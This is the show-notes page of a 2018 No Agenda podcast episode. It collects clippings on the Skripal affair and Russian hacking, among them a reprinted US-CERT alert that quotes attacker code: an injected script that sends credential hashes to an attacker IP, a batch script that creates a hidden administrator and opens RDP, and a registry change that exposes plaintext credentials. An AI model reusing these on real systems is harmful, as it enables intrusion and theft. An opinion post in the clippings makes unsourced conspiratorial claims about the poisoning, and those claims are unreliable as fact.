1017: Tech Neck

Adam Curry & John C. Dvorak

3h 3m
March 18th, 2018
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Executive Producers: Sir Onymous of Dogpatch and Lower Slobbovia, Baron HeyIdiot, Sir Jamie, Dude Named Ben, Sir John, Knight of Saint Patrick, Patron Saint of Engineers

Associate Executive Producers: Sir Jeramey Johnson, Gary Blair, Derek Smith, Timothy Kato

Cover Artist: uncleclavebear

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F-Russia
SKRIPAL ANALYSIS: the collective security anti-Brexit motive is beginning to look disturbingly likely '' The Slog.
Sun, 18 Mar 2018 14:22
The people at the centre of the Skripal farrago are Amber Rudd, Boris Johnson, MI5, Federica Mogherini and an EU desperate to stop Brexit. Only a madman would believe anything they have to say.
The British Government has backed itself into a corner over the Skripal case: yesterday it blocked a UN resolution calling for a ''civilised investigation'' into the incident '' HMG's ''explanation'' of which is now unravelling by the hour. Sources widely reported in the local police, at the local hospital and in the Foreign Office are fuelling not just doubts about Theresa May's statement to the Commons last week'....they are blowing the lid off an obvious propaganda scam:
The ''uniformed'' policeman described by Amber Rudd as ''dangerously ill'' after being ''first on the scene'' now turns out to be fully recovered and a senior CID officer. Why was he at the scene?A senior FCO source has confirmed that secret service officers tried to pressure Porton Down scientists into saying that novichok is a ''Russian produced nerve agent''. The Russians have never produced it, Porton Down does not believe novichok is involved, and in fact at least some scientists there think no nerve agent was involved at all.A senior medic at Salisbury hospital has flatly denied there are ''any cases at all of nerve agent poisoning among passers-by involved in the incident'', which seems odd given that HMG said there were such cases, and one CID officer was ''dangerously ill'' while others are not.We still have no proof at all as to the condition of the Skripals. Two weeks after the incident, not a single interview with either father or daughter has been allowed.What we are seeing here is, in reality, several David Kelly style experts '' in chemical warfare, medicine and the diplomatic service '' saying the story is nothing but IABATO* hokum.
But still the Establishment media and Western leaders insist on pushing hard on the ''Putin done it'' angle. In the face of growing scepticism, police have now released details of Mr Skripal's car along with their latest theory that ''the nerve agent was planted in Ms Skripal's suitcase before she left Moscow''. This has now popped up in a Telegraph story ''quoting unnamed sources'', so of course that seals it. Obviously.
Which perhaps explains why Trump weighed in yesterday to say, ''Well, it certainly looks like the Russians were behind it'', Boris Johnson told BBCNews, ''We think it overwhelmingly likely that it was his [Putin] decision to direct the use of a nerve agent on the streets of the UK, on the streets of Europe, for the first time since the Second World War'', and significantly French President Macron said, ''Since the start of the week, Britain has kept France closely informed of the evidence gathered by British investigators and of elements demonstrating Russian responsibility in the attack.''
Now there's a thing: here we are having a barney with Macron the anti-Brexit hardliner, and there he is warming to the British cause. Note in particular the collective security overtones of Macron's closing words:
''France shares Britain's assessment that there is no other plausible explanation and reiterates its solidarity with our ally''.
Right, so let's be clear then: it certainly looks like, and is overwhelmingly likely that, and in fact there is no plausible explanation other than that, um, the Russians did it. Hence the new emphasis on Skripal Jr having just flown in from Moscow, which as we all know contains the Kremlin and good God, that nails it, what?
Bit by bit, some pieces of this liars' jigsaw puzzle are starting to fall into place. From Day One after the Brexit vote, I began '' along with many in UKIP '' to seriously doubt Boris Johson's real commitment to the Leave campaign: he only jumped at the very last minute, and Michael Gove confided to friends within four days that he found Johnson's behaviour following the vote ''suspicious and yet inexplicable''.
Johnson gave a press conference the afternoon after the referendum, and it bears reviewing: he is hesitant, desperate to suggest that ''this all needs to be considered in the round and requires much time and thought'' '' and then goes off for a long weekend of cricketing piss-artistry with his chums. A well placed Tory MP told me the following week, ''Boris was stunned by the result'...he felt sure that the Remainers would win, but he would've been seen to have done his bit. His support for Brexit was always odd given his preponderance of supporters in the City''.
As Foreign Secretary, BoJo is in the prime position to get heavy and speed things up'....or even demand that we walk away from the negotiations. In fact, his promotion has done nothing for the Leave cause: we are still months behind schedule, and negotiators confirm his negligible (and negligent) attitude to the process.
But now, here he is at the centre of proof-free claims about devilish Russian ambition, and lots of emphasis on collective security: Putin, he insists, ''has underestimated the resolve of the NATO powers''. He is pushing the fear harder than any Remainer tried to during the campaign. And let's be real, he is a known bully, sexual philanderer, liar and perverter of the course of justice: he tried to squash Hackgate, and he succeeded in sqashing the Elm House enquiry. He is not batting for Brexit, and he probably never was.
Last week, I posted to suggest as follows:
But the mentions of NATO, the support from Macron, the bombastic language adopted by Johnson, and the strategic insistence of CIA Texas Pentagon that Britain must not leave the EU suggest to me that '' certainly on this side of the Pond '' scuttling Brexit may well be the dominant motive behind this skullduggery. This feels more and more like a EUNATO-security services Black Op.
Why, for instance, choose Britain as the 'scene of the crime'? There are literally dozens of double-agents in the US, Syria, Ukraine and Crimea '' why not there? What motive did Putin have to pick a fight with the UK'....already well on the way to leaving the EU and thus sounding the death-knell for NATO's civilian wing in Europe?
The answer is ''none'': on the contrary, he would prefer to end the incestuous EUNATO axis. He just is far too clever to have pulled something as dumb as this as the ''punishment'' of an obscure and largely forgotten traitor.
He had as much motive for doing this as Assad did for ''nerve gassing his own people'' and ''making bomb attacks on Turkey''. He had as much motive for doing this as Sadam did for ''developing missiles to attack Europe''.
Enter NATO's point girl in the EU, High Comissioner for Foreign Affairs & Security Federica Mogherini. Let's examine what's been going on in this delightful lady's life of late.
She's now the leading light in the European External Action Service (EEAS) an EU organisation nobody voted for or about, but which employs 5,000 people and has a budget slightly under a billion euros. Why an essentially trade-oriented and defensive Union has any need for such a thing is an excellent question; but while UK Remainers refused to recognise the inevitability of an EU Standing Army, Federica spent much of 2017 saying it was indeed, er, inevitable. This from last November:
''Today we are building the European Union of Security and Defence. It is not a plan anymore, it is not a dream anymore, it is reality coming true. The dream of our founding fathers and mothers is finally coming true '' more than sixty years later'.....today, security challenges are too big for any of our Member States alone. And we know it'....when our founding fathers and mothers tried to create a European Defence Community, back in the fifties, their project was quite simple, even if very ambitious. They had in mind a European army and a European Defence Minister'....today, we are doing something that is even more ambitious, much more ambitious'.... a single command centre, here in Brussels. European military training is now a concrete option, already in place.''
Federica Mogherini wasn't even born when the Franco-German coal agreement was signed in 1955. So let me set her straight: it was designed to ensure that those two nations would never go to war again. It was in its intentions entirely pacifist: not only did they not have in mind a European army, the Germans were forbidden the right to have one.
Rarely in the field of IABATO have so many historical facts been twisted to suit the needs of one megalomaniac on behalf of the few. But you have to hand it to Federica, she is if nothing else unswervingly consistent.
Just last week, she sent her Special Advisor Dr Nathalie Tocci to speak at the Royal United Services Institute (RUSI) in London. We don't know what she said there, because RUSI is a secretive lobby close to the British military establishment, a cypher for MI5, and a prolific provider of sources, tips, leaks and pro-NATO message lines to the BBC. RUSI is also virulently anti-Brexit and a serious player among those desperate to derail the UK electorate's decision to quit the EU. On February 26th last, its deputy director Malcolm Chalmers wrote as follows:
'The UK's vote to leave the EU could have serious consequences for future security cooperation between the UK and its European neighbours'.....there will be a strong mutual interest in developing new mechanisms for consultation and coordination, for example in relation to sanctions. But these are likely to be significantly weaker than those currently in place while the UK remains a member'.... If the UK leaves the Single Market and the Customs Union at the end of the transition period, it could have a significant effect on the cross-border supply chains of defence and security companies.'
While Tocci's speech to RUSI remains a private one, two days later her boss Mogherini issued this statement:
''The European Union does not recognize the holding of elections by the Russian Federation in the Crimean peninsula. The European Union remains committed to fully implementing its non-recognition policy, including through restrictive measures. The EU calls again on UN Member States to consider similar non-recognition measures in line with the UNGA Resolution 68/262.''
This is of course an exact rehash of UK/NATO line, but then that's Federica's job: nobody is in any doubt which team she's bowling googlies for. However, Signora Mogherini has much form when it comes to pressing the Russiaphobe security button in the Brexit debate:
''Let me tell you that to me all member states are important, equally, because one can be contributing more on some policies than others. But I think our British friends will lose more than what we lose'...use of Soviet-era nerve agents in Britain is shocking, and the European Union stands ready to offer support if requested''.
Jolly decent of her, that's what I say. But what I say doesn't really matter. Because now ex DDR Jugendfuhrerin Geli Merkel has weighed in too, asserting that ''it's up to Russia to quickly provide answers to the British government's justified questions and to heed the call to completely and immediately lay bare the relevant chemical weapons programme to the Organisation for the Prohibition of Chemical Weapons''.
Meanwhile, here comes the view from the High Net Worth City chaps so adored by Boris. The influential super-rich wealth management advice site Spear's offered this bit of classic jingoism yesterday:
'Amid the terrible seriousness and reckless human horror of the Skripal affair, there is one silver lining. For quite apart from bringing Anglo-Russian relations to a new post-Cold War low, the attempted assassinations in Salisbury have reminded Europe what it's about.
Through sheer hubristic aggression of the Russian state '-- and the poisonings of Colonel Sergei Skripal and his daughter Yulia, and a policeman, with the Novichok nerve agent in Salisbury '-- Vladimir Putin has managed to get Europe's leaders on the same page.
Spear's readers with longer memories will know that the European Union wasn't only created to prevent war between European nations or seek to add extra hundredths of percentages to quarterly GDP growth figures. It was also conceived as means of helping Western Europe forge a democratic bulwark against the aggression of the Soviet Union '-- an aggression that saw Russia impose it rule over Eastern Europe for 40 years. For this reason, the EU and its predecessors have been generously supported by both the US and here, even by those who were nonetheless sceptical of UK'
This is, to say the least, somewhat fast and loose with the verit(C). Almost no public recognition of 'a democratic bulwark against the aggression of the Soviet Union' has ever been cited as the raison d'etre of the EU'....especially not during the 1975 EEC membership referendum in the UK. Also missing from this neocon drivel is any recognition of the fact that the RF is not the USSR.
But what's clear is the imputation there: better in than out.
The UK Government doesn't want any Hans Blicks on its lawn. It cares not a fig for citizen statements on the ground that directly contradict its ex cathedra assertions. It is instead garnering support from the very Union it claims to be leaving. And that Union '' along with NATO '' is yelling ''full ahead both'' into the engine room of the SS Russophobia.
The short term objective is to drag Britain back into the tent. The medium term objective is the marginalisation of Russia, and the formation of a NATO-backed EU army. The long-term objective is to secure American control over every energy source on the planet.
We do not need to get involved in any of this. As I've said from the outset, the primary need is for Britain to be unaligned and hopefully '' one day '' a trusted peacemaker.
We have been duped before, and this is a thinly-disguised attempt to con us again.
We must not let it happen.
____________________________________________________________________________________________
*IABATO '' It's all bollocks and that's officialLike this:Like Loading...
From Producer at OPCW
Dear Adam and John.
I am a dude named Ben who works at the OPCW. I think 'I am'
the only one who listens to the show who works here, so yeah that's me (I'm
listening to the show). I'm not a douchebag, I'm on a 30 a month payment plan
and a Knight. I wear my (silver) ring with pride everyday and I talk about you
guys a lot.
This week we had a meeting of all delegates, which we have
about 4 times a year. According to our linguists the atmosphere was terrible
during the meetings because of the incident in England. I will keep you up to
date of the crazy stuff going on here.
Oh yeah, we laugh at the meme that North Korea has the
largest stock pile of chemical weapons. We are not allowed in the country but
we would know.
Keep up the great work.
Sir Knight of Christmas
Dragos and Crowdstrike COLLUSION
Sun, 18 Mar 2018 12:49
Dragos Blog: Stop Breaches, Safeguard CivilizationFeatured : Industry News Stop Breaches, Safeguard Civilizationby Ben Miller - July 19, 2017
Today Crowdstrike and Dragos issued a joint press release to finally announce the partnership we've developed over the course of the last year. This partnership allows our customers the benefits of Crowdstrike's experience within the enterprise network to be combined with the Dragos expertise of the industrial control systems environments. This means the Dragos Threat Operations Center and the Crowdstrike team can jointly respond to large scale attacks that straddle the IT and OT environments in an effective way while giving scale and depth that no other partnership offers today.
The ICS Cyber Kill Chain is illustrative in why the Crowdstrike/Dragos partnership is so powerful. Stage 1 occurs within the traditional corporate or enterprise networks while stage 2 of the attack then pivots into the industrial control environments. This pivot from IT into OT is absolutely taking advantage of the bifurcation of teams, roles, responsibilities, and capabilities. Our announced partnership gives our mutual customers the ability to approach both sides of the problem in an effective fashion. The Dragos TOC is staffed with experienced responders who investigate and respond to threats in ICS environments. We have an incident response service to help teams plan, resource, and provide the expertise needed to respond to industrial security incidents efficiently. This gives teams the flexibly, experience and depth needed when it matters most. Ever critical, the TOC believes in working closely with the onsite teams prior to an incident to engage and educate. We accomplish this through a range of services including site compromise assessments, threat hunting services, training and conducting tabletop exercises.
We're looking forward to further eroding the IT/OT divide to gain the upper hand against attacks against industrial control systems and processes.
Back to Blog
Cyberattacks Put Russian Fingers on the Switch at Power Plants, U.S. Says - The New York Times
Fri, 16 Mar 2018 11:41
U.S. officials said the strikes accelerated in late 2015, at the same time the Russian interference in the American election was underway. Credit Spencer Platt/Getty Images The Trump administration accused Russia on Thursday of engineering a series of cyberattacks that targeted American and European nuclear power plants and water and electric systems, and could have sabotaged or shut power plants off at will.
United States officials and private security firms saw the attacks as a signal by Moscow that it could disrupt the West's critical facilities in the event of a conflict.
They said the strikes accelerated in late 2015, at the same time the Russian interference in the American election was underway. The attackers had compromised some operators in North America and Europe by spring 2017, after President Trump was inaugurated.
In the following months, according to a Department of Homeland Security report issued on Thursday, Russian hackers made their way to machines with access to critical control systems at power plants that were not identified. The hackers never went so far as to sabotage or shut down the computer systems that guide the operations of the plants.
Still, new computer screenshots released by the Department of Homeland Security on Thursday made clear that Russian state hackers had the foothold they would have needed to manipulate or shut down power plants.
''We now have evidence they're sitting on the machines, connected to industrial control infrastructure, that allow them to effectively turn the power off or effect sabotage,'' said Eric Chien, a security technology director at Symantec, a digital security firm.
''From what we can see, they were there. They have the ability to shut the power off. All that's missing is some political motivation,'' Mr. Chien said.
American intelligence agencies were aware of the attacks for the past year and a half, and the Department of Homeland Security and the F.B.I. first issued urgent warnings to utility companies in June. On Thursday, both agencies offered new details as the Trump administration imposed sanctions against Russian individuals and organizations it accused of election meddling and ''malicious cyberattacks.''
It was the first time the administration officially named Russia as the perpetrator of the assaults. And it marked the third time in recent months that the White House, departing from its usual reluctance to publicly reveal intelligence, blamed foreign government forces for attacks on infrastructure in the United States.
In December, the White House said North Korea had carried out the so-called WannaCry attack that in May paralyzed the British health system and placed ransomware in computers in schools, businesses and homes across the world. Last month, it accused Russia of being behind the NotPetya attack against Ukraine last June, the largest in a series of cyberattacks on Ukraine to date, paralyzing the country's government agencies and financial systems.
But the penalties have been light. So far, Mr. Trump has said little to nothing about the Russian role in those attacks.
The groups that conducted the energy attacks, which are linked to Russian intelligence agencies, appear to be different from the two hacking groups that were involved in the election interference.
That would suggest that at least three separate Russian cyberoperations were underway simultaneously. One focused on stealing documents from the Democratic National Committee and other political groups. Another, by a St. Petersburg ''troll farm'' known as the Internet Research Agency, used social media to sow discord and division. A third effort sought to burrow into the infrastructure of American and European nations.
For years, American intelligence officials tracked a number of Russian state-sponsored hacking units as they successfully penetrated the computer networks of critical infrastructure operators across North America and Europe, including in Ukraine.
Some of the units worked inside Russia's Federal Security Service, the K.G.B. successor known by its Russian acronym, F.S.B.; others were embedded in the Russian military intelligence agency, known as the G.R.U. Still others were made up of Russian contractors working at the behest of Moscow.
Russian cyberattacks surged last year, starting three months after Mr. Trump took office.
American officials and private cybersecurity experts uncovered a series of Russian attacks aimed at the energy, water and aviation sectors and critical manufacturing, including nuclear plants, in the United States and Europe. In its urgent report in June, the Department of Homeland Security and the F.B.I. notified operators about the attacks but stopped short of identifying Russia as the culprit.
By then, Russian spies had compromised the business networks of several American energy, water and nuclear plants, mapping out their corporate structures and computer networks.
They included that of the Wolf Creek Nuclear Operating Corporation, which runs a nuclear plant near Burlington, Kan. But in that case, and those of other nuclear operators, Russian hackers had not leapt from the company's business networks into the nuclear plant controls.
Forensic analysis suggested that Russian spies were looking for inroads '-- although it was not clear whether the goal was to conduct espionage or sabotage, or to trigger an explosion of some kind.
In a report made public in October, Symantec noted that a Russian hacking unit ''appears to be interested in both learning how energy facilities operate and also gaining access to operational systems themselves, to the extent that the group now potentially has the ability to sabotage or gain control of these systems should it decide to do so.''
The United States sometimes does the same thing. It bored deeply into Iran's infrastructure before the 2015 nuclear accord, placing digital ''implants'' in systems that would enable it to bring down power grids, command-and-control systems and other infrastructure in case a conflict broke out. The operation was code-named ''Nitro Zeus,'' and its revelation made clear that getting into the critical infrastructure of adversaries is now a standard element of preparing for possible conflict.
The Russians have gone farther.
In an updated warning to utility companies on Thursday, Homeland Security officials included a screenshot taken by Russian operatives that proved they could now gain access to their victims' critical controls.
American officials and security firms, including Symantec and CrowdStrike, believe that Russian attacks on the Ukrainian power grid in 2015 and 2016 that left more than 200,000 citizens there in the dark are an ominous sign of what the Russian cyberstrikes may portend in the United States and Europe in the event of escalating hostilities.
Private security firms have tracked the Russian government assaults on Western power and energy operators '-- conducted alternately by groups under the names DragonFly, Energetic Bear and Berserk Bear '-- since 2011, when they first started targeting defense and aviation companies in the United States and Canada.
By 2013, researchers had tied the Russian hackers to hundreds of attacks on energy grid and oil and gas pipeline operators in the United States and Europe. Initially, the strikes appeared to be motivated by industrial espionage '-- a natural conclusion at the time, researchers said, given the importance of Russia's oil and gas industry.
But by December 2015, the Russian hacks had taken an aggressive turn. The attacks were no longer aimed at intelligence gathering, but at potentially sabotaging or shutting down plant operations.
At Symantec, researchers discovered that Russian hackers had begun taking screenshots of the machinery used in energy and nuclear plants, and stealing detailed descriptions of how they operated '-- suggesting they were conducting reconnaissance for a future attack.
As the American government enacted the sanctions on Thursday, cybersecurity experts were still questioning where the Russian attacks could lead, given that the United States was sure to respond in kind.
''Russia certainly has the technical capability to do damage, as it demonstrated in the Ukraine,'' said Eric Cornelius, a cybersecurity expert at Cylance, a private security firm, who previously assessed critical infrastructure threats for the Department of Homeland Security during the Obama administration.
''It is unclear what their perceived benefit would be from causing damage on U.S. soil, especially given the retaliation it would provoke,'' Mr. Cornelius said.
Though a major step toward deterrence, publicly naming countries accused of cyberattacks still is unlikely to shame them into stopping. The United States is struggling to come up with proportionate responses to the wide variety of cyberespionage, vandalism and outright attacks.
Lt. Gen. Paul Nakasone, who has been nominated as director of the National Security Agency and commander of United States Cyber Command, the military's cyberunit, said during his Senate confirmation hearing this month that countries attacking the United States so far have little to worry about.
''I would say right now they do not think much will happen to them,'' General Nakasone said. He later added, ''They don't fear us.''
A version of this article appears in print on , on Page A1 of the New York edition with the headline: U.S. Says Hacks Left Russia Able To Shut Utilities . Order Reprints | Today's Paper | Subscribe Site IndexnewsopinionartslivingmoreSite Information Navigation
Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors | US-CERT
Sun, 18 Mar 2018 14:17
Since at least March 2016, Russian government cyber actors'--hereafter referred to as ''threat actors'''--targeted government entities and multiple U.S. critical infrastructure sectors, including the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors.
Analysis by DHS and FBI, resulted in the identification of distinct indicators and behaviors related to this activity. Of note, the report Dragonfly: Western energy sector targeted by sophisticated attack group, released by Symantec on September 6, 2017, provides additional information about this ongoing campaign. [1]
This campaign comprises two distinct categories of victims: staging and intended targets. The initial victims are peripheral organizations such as trusted third-party suppliers with less secure networks, referred to as ''staging targets'' throughout this alert. The threat actors used the staging targets' networks as pivot points and malware repositories when targeting their final intended victims. NCCIC and FBI judge the ultimate objective of the actors is to compromise organizational networks, also referred to as the ''intended target.''
Technical Details
The threat actors in this campaign employed a variety of TTPs, including
spear-phishing emails (from compromised legitimate account),watering-hole domains,credential gathering,open-source and network reconnaissance,host-based exploitation, andtargeting industrial control system (ICS) infrastructure.Using Cyber Kill Chain for Analysis
DHS used the Lockheed-Martin Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. Phases of the model include reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on the objective. This section will provide a high-level overview of threat actors' activities within this framework.
Stage 1: Reconnaissance
The threat actors appear to have deliberately chosen the organizations they targeted, rather than pursuing them as targets of opportunity. Staging targets held preexisting relationships with many of the intended targets. DHS analysis identified the threat actors accessing publicly available information hosted by organization-monitored networks during the reconnaissance phase. Based on forensic analysis, DHS assesses the threat actors sought information on network and organizational design and control system capabilities within organizations. These tactics are commonly used to collect the information needed for targeted spear-phishing attempts. In some cases, information posted to company websites, especially information that may appear to be innocuous, may contain operationally sensitive information. As an example, the threat actors downloaded a small photo from a publicly accessible human resources page. The image, when expanded, was a high-resolution photo that displayed control systems equipment models and status information in the background.
Analysis also revealed that the threat actors used compromised staging targets to download the source code for several intended targets' websites. Additionally, the threat actors attempted to remotely access infrastructure such as corporate web-based email and virtual private network (VPN) connections.
Stage 2: Weaponization
Spear-Phishing Email TTPs
Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. (An example of this request is: file[:]///Normal.dotm). As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user's credential hash to the remote server before retrieving the requested file. (Note: transfer of credentials can occur even if the file is not retrieved.) After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication. [2]
Use of Watering Hole Domains
One of the threat actors' primary uses for staging targets was to develop watering holes. Threat actors compromised the infrastructure of trusted organizations to reach intended targets. [3] Approximately half of the known watering holes are trade publications and informational websites related to process control, ICS, or critical infrastructure. Although these watering holes may host legitimate content developed by reputable organizations, the threat actors altered websites to contain and reference malicious content. The threat actors used legitimate credentials to access and directly modify the website content. The threat actors modified these websites by altering JavaScript and PHP files to request a file icon using SMB from an IP address controlled by the threat actors. This request accomplishes a similar technique observed in the spear-phishing documents for credential harvesting. In one instance, the threat actors added a line of code into the file ''header.php'', a legitimate PHP file that carried out the redirected traffic.
In another instance, the threat actors modified the JavaScript file, ''modernizr.js'', a legitimate JavaScript library used by the website to detect various aspects of the user's browser. The file was modified to contain the contents below:
var i = document.createElement("img");
i.src = "file[:]//184.154.150[.]66/ame_icon.png";
i.width = 3;
i.height=2;
Stage 3: Delivery
When compromising staging target networks, the threat actors used spear-phishing emails that differed from previously reported TTPs. The spear-phishing emails used a generic contract agreement theme (with the subject line ''AGREEMENT & Confidential'') and contained a generic PDF document titled ``document.pdf. (Note the inclusion of two single back ticks at the beginning of the attachment name.) The PDF was not malicious and did not contain any active code. The document contained a shortened URL that, when clicked, led users to a website that prompted the user for email address and password. (Note: no code within the PDF initiated a download.)
In previous reporting, DHS and FBI noted that all of these spear-phishing emails referred to control systems or process control systems. The threat actors continued using these themes specifically against intended target organizations. Email messages included references to common industrial control equipment and protocols. The emails used malicious Microsoft Word attachments that appeared to be legitimate r(C)sum(C)s or curricula vitae (CVs) for industrial control systems personnel, and invitations and policy documents to entice the user to open the attachment.
Stage 4: Exploitation
The threat actors used distinct and unusual TTPs in the phishing campaign directed at staging targets. Emails contained successive redirects to http://bit[.]ly/2m0x8IH link, which redirected to http://tinyurl[.]com/h3sdqck link, which redirected to the ultimate destination of http://imageliners[.]com/nitel. The imageliner[.]com website contained input fields for an email address and password mimicking a login page for a website.
When exploiting the intended targets, the threat actors used malicious .docx files to capture user credentials. The documents retrieved a file through a ''file://'' connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139. This connection is made to a command and control (C2) server'--either a server owned by the threat actors or that of a victim. When a user attempted to authenticate to the domain, the C2 server was provided with the hash of the password. Local users received a graphical user interface (GUI) prompt to enter a username and password, and the C2 received this information over TCP ports 445 or 139. (Note: a file transfer is not necessary for a loss of credential information.) Symantec's report associates this behavior to the Dragonfly threat actors in this campaign. [1]
Stage 5: Installation
The threat actors leveraged compromised credentials to access victims' networks where multi-factor authentication was not used. [4] To maintain persistence, the threat actors created local administrator accounts within staging targets and placed malicious files within intended targets.
Establishing Local Accounts
The threat actors used scripts to create local administrator accounts disguised as legitimate backup accounts. The initial script ''symantec_help.jsp'' contained a one-line reference to a malicious script designed to create the local administrator account and manipulate the firewall for remote access. The script was located in ''C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\''.
Contents of symantec_help.jsp
____________________________________________________________________________________________________________________
____________________________________________________________________________________________________________________
The script ''enu.cmd'' created an administrator account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group to gain elevated privileges. This script contained hard-coded values for the group name ''administrator'' in Spanish, Italian, German, French, and English.
Contents of enu.cmd
____________________________________________________________________________________________________________________
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP:*:Enabled:Remote Desktop" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP:*:Enabled:Remote Desktop" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AllowMultipleTSSessions /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v MaxInstanceCount /t REG_DWORD /d 100 /f
net user MS_BACKUP /add
net localgroup Administrators /add MS_BACKUP
net localgroup Administradores /add MS_BACKUP
net localgroup Amministratori /add MS_BACKUP
net localgroup Administratoren /add MS_BACKUP
net localgroup Administrateurs /add MS_BACKUP
net localgroup "Remote Desktop Users" /add MS_BACKUP
net user MS_BACKUP /expires:never
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v MS_BACKUP /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
sc config termservice start= auto
net start termservice
____________________________________________________________________________________________________________________
DHS observed the threat actors using this and similar scripts to create multiple accounts within staging target networks. Each account created by the threat actors served a specific purpose in their operation. These purposes ranged from the creation of additional accounts to cleanup of activity. DHS and FBI observed the following actions taken after the creation of these local accounts:
Account 1: Account 1 was named to mimic backup services of the staging target. This account was created by the malicious script described earlier. The threat actor used this account to conduct open-source reconnaissance and remotely access intended targets.
Account 2: Account 1 was used to create Account 2 to impersonate an email administration account. The only observed action was to create Account 3.
Account 3: Account 3 was created within the staging victim's Microsoft Exchange Server. A PowerShell script created this account during an RDP session while the threat actor was authenticated as Account 2. The naming conventions of the created Microsoft Exchange account followed that of the staging target (e.g., first initial concatenated with the last name).
Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete logs and cover tracks.
Scheduled Task
In addition, the threat actors created a scheduled task named reset, which was designed to automatically log out of their newly created account every eight hours.
VPN Software
After achieving access to staging targets, the threat actors installed tools to carry out operations against intended victims. On one occasion, threat actors installed the free version of FortiClient, which they presumably used as a VPN client to connect to intended target networks.
Password Cracking Tools
Consistent with the perceived goal of credential harvesting, the threat actors dropped and executed open source and free tools such as Hydra, SecretsDump, and CrackMapExec. The naming convention and download locations suggest that these files were downloaded directly from publically available locations such as GitHub. Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system. Of note, the threat actors installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\\Desktop\OWAExchange\.
Downloader
Once inside of an intended target's network, the threat actor downloaded tools from a remote server. The initial versions of the file names contained .txt extensions and were renamed to the appropriate extension, typically .exe or .zip.
In one example, after gaining remote access to the network of an intended victim, the threat actor carried out the following actions:
The threat actor connected to 91.183.104[.]150 and downloaded multiple files, specifically the file INST.txt.The files were renamed to new extensions, with INST.txt being renamed INST.exe.The files were executed on the host and then immediately deleted.The execution of INST.exe triggered a download of ntdll.exe, and shortly after, ntdll.exe appeared in the running process list of the compromised system of an intended target.The registry value ''ntdll'' was added to the ''HKEY_USERS\\Software\Microsoft\Windows\CurrentVersion\Run'' key.
Persistence Through .LNK File Manipulation
The threat actors manipulated LNK files, commonly known as a Microsoft Window's shortcut file, to repeatedly gather user credentials. Default Windows functionality enables icons to be loaded from a local or remote Windows repository. The threat actors exploited this built-in Windows functionality by setting the icon path to a remote server controller by the actors. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user's credentials are passed through the attempted SMB connection.
Four of the observed LNK files were ''SETROUTE.lnk'', ''notepad.exe.lnk'', ''Document.lnk'' and ''desktop.ini.lnk''. These names appeared to be contextual, and the threat actor may use a variety of other file names while using this tactic. Two of the remote servers observed in the icon path of these LNK files were 62.8.193[.]206 and 5.153.58[.]45. Below is the parsed content of one of the LNK files:
Parsed output for file: desktop.ini.lnk
Registry Modification
The threat actor would modify key systems to store plaintext credentials in memory. In one instance, the threat actor executed the following command.
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f
Stage 6: Command and Control
The threat actors commonly created web shells on the intended targets' publicly accessible email and web servers. The threat actors used three different filenames (''global.aspx, autodiscover.aspx and index.aspx) for two different webshells. The difference between the two groups was the ''public string Password'' field.
Beginning Contents of the Web Shell
____________________________________________________________________________________________________________________
public string Password = "";
public string z_progname = "z_WebShell";
'...
____________________________________________________________________________________________________________________
Stage 7: Actions on Objectives
DHS and FBI identified the threat actors leveraging remote access services and infrastructure such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used the infrastructure of staging targets to connect to several intended targets.
Internal Reconnaissance
Upon gaining access to intended victims, the threat actors conducted reconnaissance operations within the network. DHS observed the threat actors focusing on identifying and browsing file servers within the intended victim's network.
Once on the intended target's network, the threat actors used privileged credentials to access the victim's domain controller typically via RDP. Once on the domain controller, the threat actors used the batch scripts ''dc.bat'' and ''dit.bat'' to enumerate hosts, users, and additional information about the environment. The observed outputs (text documents) from these scripts were:
